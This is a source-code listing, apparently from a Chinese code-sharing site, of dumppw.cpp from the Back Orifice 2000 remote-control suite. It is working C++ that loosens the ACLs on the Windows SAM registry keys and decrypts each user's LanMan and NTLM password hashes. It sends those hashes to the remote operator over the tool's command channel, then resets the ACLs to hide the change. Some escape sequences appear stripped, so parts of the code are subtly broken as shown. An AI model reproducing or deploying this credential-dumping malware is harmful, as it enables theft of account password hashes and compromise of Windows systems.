dumppw.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:17k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. // DumpPW - Thanks to Jeremy Allison for pwdump, it was
  16. //          what this was based on.
  17. #include <windows.h>
  18. #include <stdarg.h>
  19. #include <auth.h>
  20. #include <iohandler.h>
  21. #include <encryption.h>
  22. #include <commandloop.h>
  23. #include <functions.h>
  24. DWORD hexstrtoul(char *str)
  25. {
  26. DWORD val;
  27. int i;
  28. char c1;
  29. val=0;
  30. for(i=0;i<8;i++) {
  31. if(*str=='') break;
  32. c1=*str++;
  33. if(c1>='A' && c1<='F') c1=(c1-'A')+0xA;
  34. else if(c1>='a' && c1<='f') c1=(c1-'a')+0xA;
  35. else if(c1>='0' && c1<='9') c1=(c1-'0');
  36. val<<=4;
  37. val|=c1;
  38. }
  39. return val;
  40. }
  41. //
  42. // Utility function to get allocate a SID from a name.
  43. // Looks on local machine. SID is allocated with malloc
  44. // and must be freed by the caller.
  45. // Returns TRUE on success, FALSE on fail.
  46. //
  47. static BOOL get_sid(const char *name, SID **ppsid)
  48. {
  49. SID_NAME_USE sid_use;
  50. char *domain;
  51. DWORD sid_size = 0;
  52. DWORD dom_size = 0;
  53. *ppsid = 0;
  54. if(pLookupAccountName(0, name, 0, &sid_size, 0, &dom_size, &sid_use) == 0) {
  55. if(GetLastError() != ERROR_INSUFFICIENT_BUFFER) return FALSE;
  56. }
  57. *ppsid = (SID *)malloc(sid_size);
  58. domain = (char *)malloc(dom_size);
  59. if(*ppsid == 0 || domain == 0) {
  60. if(*ppsid) free(*ppsid);
  61. if(domain) free(domain);
  62. *ppsid = 0;
  63. return FALSE;
  64. }
  65. if(pLookupAccountName(0, name, *ppsid, &sid_size, domain, &dom_size, &sid_use)==0) {
  66. free(*ppsid);
  67. free(domain);
  68. *ppsid = 0;
  69. return FALSE;
  70. }
  71. free(domain);
  72. return TRUE;
  73. }
  74. //
  75. // Utility function to setup a security descriptor
  76. // from a varargs list of char *name followed by a DWORD access
  77. // mask. The access control list is allocated with malloc
  78. // and must be freed by the caller.
  79. // returns TRUE on success, FALSE on fail.
  80. //
  81. static BOOL __cdecl create_sd_from_list( SECURITY_DESCRIPTOR *sdout, int num, ...)
  82. {
  83. va_list ap;
  84. SID **sids = 0;
  85. char *name;
  86. DWORD amask;
  87. DWORD acl_size;
  88. PACL pacl = 0;
  89. int i;
  90. if((sids=(SID **)malloc(sizeof(SID *)*num))==0) return FALSE;
  91. acl_size = num * (sizeof(ACL) + sizeof(ACCESS_ALLOWED_ACE) + sizeof(DWORD));
  92. // Collect all the SID's
  93. va_start( ap, num);
  94. for(i=0;i<num;i++) {
  95. name = va_arg( ap, char *);
  96. amask = va_arg(ap, DWORD);
  97. if(get_sid( name, &sids[i]) == FALSE) goto cleanup;
  98. acl_size += pGetLengthSid(sids[i]);
  99. }
  100. va_end(ap);
  101. if((pacl = (PACL)malloc(acl_size)) == 0) goto cleanup;
  102. if(pInitializeSecurityDescriptor( sdout, SECURITY_DESCRIPTOR_REVISION) == FALSE) goto cleanup;
  103. if(pInitializeAcl( pacl, acl_size, ACL_REVISION) == FALSE) goto cleanup;
  104. va_start(ap, num);
  105. for( i = 0; i < num; i++) {
  106. ACE_HEADER *ace_p;
  107. name = va_arg( ap, char *);
  108. amask = va_arg( ap, DWORD);
  109. if(pAddAccessAllowedAce( pacl, ACL_REVISION, amask, sids[i]) == FALSE) goto cleanup;
  110. // Make sure the ACE is inheritable
  111. if(pGetAce( pacl, 0, (LPVOID *)&ace_p) == FALSE) goto cleanup;
  112. ace_p->AceFlags |= ( CONTAINER_INHERIT_ACE | OBJECT_INHERIT_ACE);
  113. }
  114. // Add the ACL into the sd
  115. if(pSetSecurityDescriptorDacl( sdout, TRUE, pacl, FALSE) == FALSE) goto cleanup;
  116. for( i = 0; i < num; i++) {
  117. if(sids[i]) free(sids[i]);
  118. }
  119. free(sids);
  120. return TRUE;
  121. cleanup:
  122. if(sids) {
  123. for( i = 0; i < num; i++) {
  124. if(sids[i]) free(sids[i]);
  125. }
  126. free(sids);
  127. }
  128. if(pacl) free(pacl);
  129. return FALSE;
  130. }
  131. //
  132. // Function to go over all the users in the SAM and set an ACL
  133. // on them.
  134. //
  135. static int set_userkeys_security( HKEY start, const char *path, SECURITY_DESCRIPTOR *psd, 
  136.  HKEY *return_key)
  137. {
  138. HKEY key;
  139. DWORD err;
  140. char usersid[128];
  141. DWORD indx = 0;
  142. // Open the path and enum all the user keys - setting the same security on them.
  143. if((err=RegOpenKeyEx(start,path,0,KEY_ENUMERATE_SUB_KEYS,&key))!=ERROR_SUCCESS) return -1;
  144. // Now enumerate the subkeys, setting the security on them all.
  145. do {
  146. DWORD size;
  147. FILETIME ft;
  148. size=sizeof(usersid);
  149. err=RegEnumKeyEx(key,indx,usersid,&size,0,0,0,&ft);
  150. if(err==ERROR_SUCCESS) {
  151. HKEY subkey;
  152. indx++;
  153. if((err=RegOpenKeyEx(key,usersid,0,WRITE_DAC,&subkey))!=ERROR_SUCCESS) {
  154. RegCloseKey(key);
  155. return -1;
  156. }
  157. if((err=pRegSetKeySecurity(subkey,DACL_SECURITY_INFORMATION,psd))!=ERROR_SUCCESS) {
  158. RegCloseKey(subkey);
  159. RegCloseKey(key);
  160. return -1;
  161. }
  162. RegCloseKey(subkey);
  163. }
  164. } while(err==ERROR_SUCCESS);
  165. if(err!=ERROR_NO_MORE_ITEMS) {
  166. RegCloseKey(key);
  167. return -1;
  168. }
  169. if(return_key==0) RegCloseKey(key);
  170. else *return_key=key;
  171. return 0;
  172. }
  173. //
  174. // Function to travel down the SAM security tree in the registry and restore
  175. // the correct ACL on them. Returns 0 on success. -1 on fail.
  176. //
  177. static int restore_sam_tree_access( HKEY start )
  178. {
  179. char path[128];
  180. char AdminGroupName[128];
  181. char *p;
  182. int i;
  183. HKEY key;
  184. DWORD err;
  185. SECURITY_DESCRIPTOR sd;
  186. DWORD admin_mask;
  187. admin_mask = WRITE_DAC | READ_CONTROL;
  188. lstrcpy(AdminGroupName, "Administrators");
  189. if(!create_sd_from_list( &sd, 2, "SYSTEM", GENERIC_ALL,AdminGroupName, admin_mask)) return -1;
  190. lstrcpy(path,"SECURITY\SAM\Domains\Account\Users");
  191. // Remove the security on the user keys first.
  192. if(set_userkeys_security( start, path, &sd, 0)!=0) return -1;
  193. // now go up the path, restoring security
  194. do {
  195. if((err=RegOpenKeyEx(start,path,0,WRITE_DAC,&key)) != ERROR_SUCCESS) return -1;
  196. if((err=pRegSetKeySecurity( key, DACL_SECURITY_INFORMATION,&sd)) != ERROR_SUCCESS) {
  197. RegCloseKey(key);
  198. return  -1;
  199. }
  200. RegCloseKey(key);
  201. p=path+(lstrlen(path)-1);
  202. for(i=(lstrlen(path)-1);i>=0;i--) {
  203. if(*p=='\') { *p=0; break; }
  204. }
  205. } while(i!=-1);
  206. return 0;
  207. }
  208. //
  209. // Function to travel the security tree and add Administrators
  210. // access as WRITE_DAC, READ_CONTROL and READ.
  211. // Returns 0 on success. -1 on fail if no security was changed,
  212. // -2 on fail if security was changed.
  213. //
  214. static int set_sam_tree_access( HKEY start, HKEY *return_key)
  215. {
  216. char path[128];
  217. char *p;
  218. char AdminGroupName[128];
  219. HKEY key;
  220. DWORD err;
  221. BOOL security_changed = FALSE;
  222. SECURITY_DESCRIPTOR sd;
  223. DWORD admin_mask;
  224. BOOL finished = FALSE;
  225. admin_mask = WRITE_DAC | READ_CONTROL | KEY_QUERY_VALUE | KEY_ENUMERATE_SUB_KEYS;
  226. lstrcpy(AdminGroupName, "Administrators");
  227. if(!create_sd_from_list( &sd, 2, "SYSTEM", GENERIC_ALL, AdminGroupName, admin_mask)) return -1;
  228. lstrcpy( path, "SECURITY\SAM\Domains\Account\Users");
  229. p=path;
  230. do {
  231. while(*p!='') {
  232. if(*p=='\') break;
  233. p++;
  234. }
  235. if(*p=='') finished=TRUE;
  236. else *p='';
  237. if((err=RegOpenKeyEx( start, path, 0, WRITE_DAC, &key))!=ERROR_SUCCESS) {
  238. return(security_changed ? -2: -1);
  239. }
  240. if((err=pRegSetKeySecurity( key, DACL_SECURITY_INFORMATION, &sd)) != ERROR_SUCCESS) {
  241. RegCloseKey(key);
  242. return(security_changed ? -2: -1);
  243. }
  244. security_changed = TRUE;
  245. RegCloseKey(key);
  246. if(!finished) {*p='\'; p++;}
  247. } while( !finished );
  248. if(set_userkeys_security( start, path, &sd, &key) != 0) return -2;
  249. if(return_key==0) RegCloseKey(key);
  250. else *return_key = key;
  251. return 0;
  252. }
  253. // 
  254. // Function to get a little-endian int from an offset into
  255. // a byte array.
  256. //
  257. static int get_int( BYTE *array )
  258. {
  259. return((array[0]&0xff) + ((array[1]<<8)&0xff00) +
  260.   ((array[2]<<16)&0xff0000) + ((array[3]<<24)&0xff000000));
  261. }
  262. //
  263. // Function to convert the RID to the first decrypt key.
  264. //
  265. static void set_sid_key1(CEncryptionEngine *pCrypt, unsigned long sid)
  266. {
  267. unsigned char s[7];
  268. s[0] = (unsigned char)(sid & 0xFF);
  269. s[1] = (unsigned char)((sid>>8) & 0xFF);
  270. s[2] = (unsigned char)((sid>>16) & 0xFF);
  271. s[3] = (unsigned char)((sid>>24) & 0xFF);
  272. s[4] = s[0];
  273. s[5] = s[1];
  274. s[6] = s[2];
  275. pCrypt->SetDecryptKey((char *)s);
  276. }
  277. //
  278. // Function to convert the RID to the second decrypt key.
  279. //
  280. static void set_sid_key2(CEncryptionEngine *pCrypt, unsigned long sid)
  281. {
  282. unsigned char s[7];
  283. s[0] = (unsigned char)((sid>>24) & 0xFF);
  284. s[1] = (unsigned char)(sid & 0xFF);
  285. s[2] = (unsigned char)((sid>>8) & 0xFF);
  286. s[3] = (unsigned char)((sid>>16) & 0xFF);
  287. s[4] = s[0];
  288. s[5] = s[1];
  289. s[6] = s[2];
  290. pCrypt->SetDecryptKey((char *)s);
  291. }
  292. //
  293. // Function to split a 'V' entry into a users name, passwords and comment.
  294. //
  295. static int __cdecl check_vp(BYTE *vp, int vp_size, char **username, char **fullname,
  296. char **comment, char **homedir,
  297. BYTE *lanman,int *got_lanman,
  298. BYTE *md4,  int *got_md4,
  299. DWORD rid
  300. )
  301. {
  302. int username_offset = get_int(vp + 0xC);
  303. int username_len = get_int(vp + 0x10); 
  304. int fullname_offset = get_int(vp + 0x18);
  305. int fullname_len = get_int(vp + 0x1c);
  306. int comment_offset = get_int(vp + 0x24);
  307. int comment_len = get_int(vp + 0x28);
  308. int homedir_offset = get_int(vp + 0x48);
  309. int homedir_len = get_int(vp + 0x4c);
  310. int pw_offset = get_int(vp + 0x9c);
  311. *username = 0;
  312. *fullname = 0;
  313. *comment = 0;
  314. *homedir = 0;
  315. *got_lanman = 0;
  316. *got_md4 = 0;
  317. if(username_len < 0 || username_offset < 0 || comment_len < 0 ||
  318. fullname_len < 0 || homedir_offset < 0 ||
  319. comment_offset < 0 || pw_offset < 0)
  320. return -1;
  321. username_offset += 0xCC;
  322. fullname_offset += 0xCC;
  323. comment_offset += 0xCC;
  324. homedir_offset += 0xCC;
  325. pw_offset += 0xCC;
  326. if((*username = (char *)malloc(username_len + 1)) == 0) {
  327. return -1;
  328. }
  329. if((*fullname = (char *)malloc(fullname_len + 1)) == 0) {
  330. free(*username);
  331. *username = 0;
  332. return -1;
  333. }
  334. if((*comment = (char *)malloc(comment_len + 1)) == 0) {
  335. free(*username);
  336. *username = 0;
  337. free(*fullname);
  338. *fullname = 0;
  339. return -1;
  340. }
  341. if((*homedir = (char *)malloc(homedir_len + 1)) == 0) {
  342. free(*username);
  343. *username = 0;
  344. free(*fullname);
  345. *fullname = 0;
  346. free(*comment);
  347. *comment = 0;
  348. return -1;
  349. }
  350. int nNumChars;
  351. nNumChars=username_len/sizeof(wchar_t);
  352. WideCharToMultiByte(CP_ACP,0,(wchar_t *)(vp + username_offset), nNumChars, *username, nNumChars, NULL ,NULL);
  353. (*username)[nNumChars] = 0;
  354. nNumChars=fullname_len/sizeof(wchar_t);
  355. WideCharToMultiByte(CP_ACP,0,(wchar_t *)(vp + fullname_offset), nNumChars, *fullname, nNumChars, NULL ,NULL);
  356. (*fullname)[nNumChars] = 0;
  357. nNumChars=comment_len/sizeof(wchar_t);
  358. WideCharToMultiByte(CP_ACP,0,(wchar_t *)(vp + comment_offset), nNumChars, *comment, nNumChars, NULL ,NULL);
  359. (*comment)[nNumChars] = 0;
  360. nNumChars=homedir_len/sizeof(wchar_t);
  361. WideCharToMultiByte(CP_ACP,0,(wchar_t *)(vp + homedir_offset), nNumChars, *homedir, nNumChars, NULL ,NULL);
  362. (*homedir)[nNumChars] = 0;
  363. if(pw_offset >= vp_size) {
  364. // No password
  365. *got_lanman = 0;
  366. *got_md4 = 0;
  367. return 0;
  368. }
  369. // Check that the password offset plus the size of the
  370. //  lanman and md4 hashes fits within the V record.
  371. if(pw_offset + 32 > vp_size) {
  372. // Account disabled
  373. *got_lanman = -1;
  374. *got_md4 = -1;
  375. return 0;
  376. }
  377. // Get DES Engine
  378. ENCRYPTION_ENGINE *eng=g_pEncryptionHandler->GetEngineByID("DES");
  379. if(eng==NULL) {
  380. *got_lanman = -1;
  381. *got_md4 = -1;
  382. return 0;
  383. }
  384. CEncryptionEngine crypt(eng);
  385. crypt.Startup();
  386. // Get the two decrypt keys.
  387. BYTE *pBlock;
  388. int nBlockLen;
  389. vp += pw_offset;
  390. // Set 'first half key'
  391. set_sid_key1(&crypt,rid);
  392. // First half of lanman hash
  393. pBlock=crypt.Decrypt(vp,8,&nBlockLen);
  394. memcpy(lanman,pBlock,8);
  395. crypt.Free(pBlock);
  396. // First half of ntlm hash
  397. pBlock=crypt.Decrypt(vp+16,8,&nBlockLen);
  398. memcpy(md4,pBlock,8);
  399. crypt.Free(pBlock);
  400. // Set 'second half key'
  401. set_sid_key2(&crypt,rid);
  402. // Second half of lanman hash
  403. pBlock=crypt.Decrypt(vp+8,8,&nBlockLen);
  404. memcpy(&lanman[8],pBlock,8);
  405. crypt.Free(pBlock);
  406. // First half of ntlm hash
  407. pBlock=crypt.Decrypt(vp+24,8,&nBlockLen);
  408. memcpy(&md4[8],pBlock,8);
  409. crypt.Free(pBlock);
  410. crypt.Shutdown();
  411. *got_lanman = 1;
  412. *got_md4 = 1;
  413. return 0;
  414. }
  415. // 
  416. // Function to strip out any ':' or 'n', 'r' from a text
  417. // string.
  418. //
  419. static void strip_text( char *p )
  420. {
  421. while(*p!='') {
  422. if(*p == ':') *p='_';
  423. else if(*p == 'n') *p='_';
  424. else if(*p == 'r') *p='_';
  425. p++;
  426. }
  427. }
  428. //
  429. // Function to dump a users smbpasswd entry onto stdout.
  430. // Returns 0 on success, -1 on fail.
  431. //
  432. static int __cdecl printout_smb_entry(CAuthSocket *cas_from, int comid, HKEY user, DWORD rid )
  433. {
  434. DWORD err;
  435. DWORD type;
  436. DWORD size = 0;
  437. BYTE *vp;
  438. BYTE lanman[16];
  439. BYTE md4_hash[16];
  440. char *username;
  441. char *fullname;
  442. char *comment;
  443. char *homedir;
  444. int got_lanman;
  445. int got_md4;
  446. // Find out how much space we need for the 'V' value.
  447. if((err=RegQueryValueEx( user, "V", 0, &type, 0, &size)) != ERROR_SUCCESS) return -1;
  448. if((vp=(BYTE *)malloc(size)) == 0) return -1;
  449. if((err=RegQueryValueEx( user, "V", 0, &type, (LPBYTE)vp, &size))!=ERROR_SUCCESS) {
  450. free(vp);
  451. return -1;
  452. }
  453. // Check heuristics
  454. if(check_vp(vp, size, &username, &fullname, &comment, &homedir, lanman, &got_lanman, md4_hash, &got_md4, rid) != 0) {
  455. free(vp);
  456. return 0;
  457. }
  458. // Ensure username of comment don't have any nasty suprises
  459. // for us such as an embedded ':' or 'n' - see multiple UNIX
  460. // passwd field update security bugs for details...
  461. strip_text( username );
  462. strip_text( fullname );
  463. strip_text( comment );
  464. // If homedir contains a drive letter this mangles it - but it protects
  465. // the integrity of the smbpasswd file.
  466. strip_text( homedir );
  467. char svLanmanText[33];
  468. if(got_lanman>0) {
  469. wsprintf(svLanmanText,"%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X", 
  470. lanman[0],lanman[1],lanman[2],lanman[3],lanman[4],lanman[5],lanman[6],lanman[7],
  471. lanman[8],lanman[9],lanman[10],lanman[11],lanman[12],lanman[13],lanman[14],lanman[15]);
  472. } else {
  473. if(got_lanman==-1) lstrcpy(svLanmanText,"DISABLED");
  474. else lstrcpy(svLanmanText,"NO PASSWORD");
  475. }
  476. char svNTLMText[33];
  477. if(got_md4>0) {
  478. wsprintf(svNTLMText,"%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X%2X", 
  479. md4_hash[0],md4_hash[1],md4_hash[2],md4_hash[3],md4_hash[4],md4_hash[5],md4_hash[6],md4_hash[7],
  480. md4_hash[8],md4_hash[9],md4_hash[10],md4_hash[11],md4_hash[12],md4_hash[13],md4_hash[14],md4_hash[15]);
  481. } else {
  482. if(got_md4==-1) lstrcpy(svNTLMText,"DISABLED");
  483. else lstrcpy(svNTLMText,"NO PASSWORD");
  484. }
  485. char *pBuffer;
  486. int nBufLen;
  487. nBufLen=64+lstrlen(username)+lstrlen(svLanmanText)+lstrlen(svNTLMText)+lstrlen(fullname)+lstrlen(comment)+lstrlen(homedir);
  488. pBuffer=(char *)malloc(nBufLen);
  489. if(pBuffer==NULL) {
  490. free(username);
  491. free(fullname);
  492. free(comment);
  493. free(homedir);
  494. free(vp);
  495. return -1;
  496. }
  497. wsprintf(pBuffer,"%s:%d:%s:%s:%s,%s:%sn", 
  498. username, 
  499. rid,
  500. svLanmanText,
  501. svNTLMText,
  502. fullname,
  503. comment,
  504. homedir);
  505. IssueAuthCommandReply(cas_from,comid,1,pBuffer);
  506. free(pBuffer);
  507. free(username);
  508. free(fullname);
  509. free(comment);
  510. free(homedir);
  511. free(vp);
  512. return 0;
  513. }
  514. //
  515. // Function to go through all the user SID's - dumping out
  516. // their SAM values. Returns 0 on success, -1 on fail.
  517. //
  518. static int enumerate_users(CAuthSocket *cas_from, int comid, HKEY key)
  519. {
  520. DWORD indx = 0;
  521. DWORD err;
  522. DWORD rid;
  523. char usersid[128];
  524. do {
  525. DWORD size;
  526. FILETIME ft;
  527. size = sizeof(usersid);
  528. err = RegEnumKeyEx( key, indx, usersid, &size, 0, 0, 0, &ft);
  529. if(err == ERROR_SUCCESS) {
  530. HKEY subkey;
  531. indx++;
  532. if((err=RegOpenKeyEx( key, usersid, 0, KEY_QUERY_VALUE, &subkey))!=ERROR_SUCCESS) {
  533. RegCloseKey(key);
  534. return -1;
  535. }
  536. rid = hexstrtoul(usersid);
  537. // Hack as we know there is a Names key here
  538. if(rid != 0) {
  539. if(printout_smb_entry(cas_from, comid, subkey, rid ) != 0) {
  540. RegCloseKey(subkey);
  541. return -1;
  542. }
  543. }
  544. RegCloseKey(subkey);
  545. }
  546. } while(err == ERROR_SUCCESS);
  547. if(err != ERROR_NO_MORE_ITEMS) {
  548. RegCloseKey(key);
  549. return -1;
  550. }
  551. return 0;
  552. }
  553. int DumpPasswordHashes(CAuthSocket *cas_from, int comid)
  554. {
  555. HKEY start_key = HKEY_LOCAL_MACHINE;
  556. HKEY users_key;
  557. int err;
  558. // 
  559. // We need to get to HKEY_LOCAL_MACHINESECURITYSAMDomainsAccountUsers.
  560. // The security on this key normally doesn't allow Administrators
  561. // to read - we need to add this.
  562. //
  563. if((err=set_sam_tree_access(start_key,&users_key))!=0) {
  564. if(err==-2) restore_sam_tree_access(start_key);
  565. return -1;
  566. }
  567. // Print the users SAM entries in smbpasswd format onto stdout.
  568. enumerate_users(cas_from, comid, users_key);
  569. RegCloseKey(users_key);
  570. IssueAuthCommandReply(cas_from, comid, 0, "Finished collecting user hashes.n");
  571. // reset the security on the SAM
  572. restore_sam_tree_access(start_key);
  573. if(start_key!=HKEY_LOCAL_MACHINE) RegCloseKey(start_key);
  574. IssueAuthCommandReply(cas_from, comid, 0, NULL);
  575. return 0;
  576. }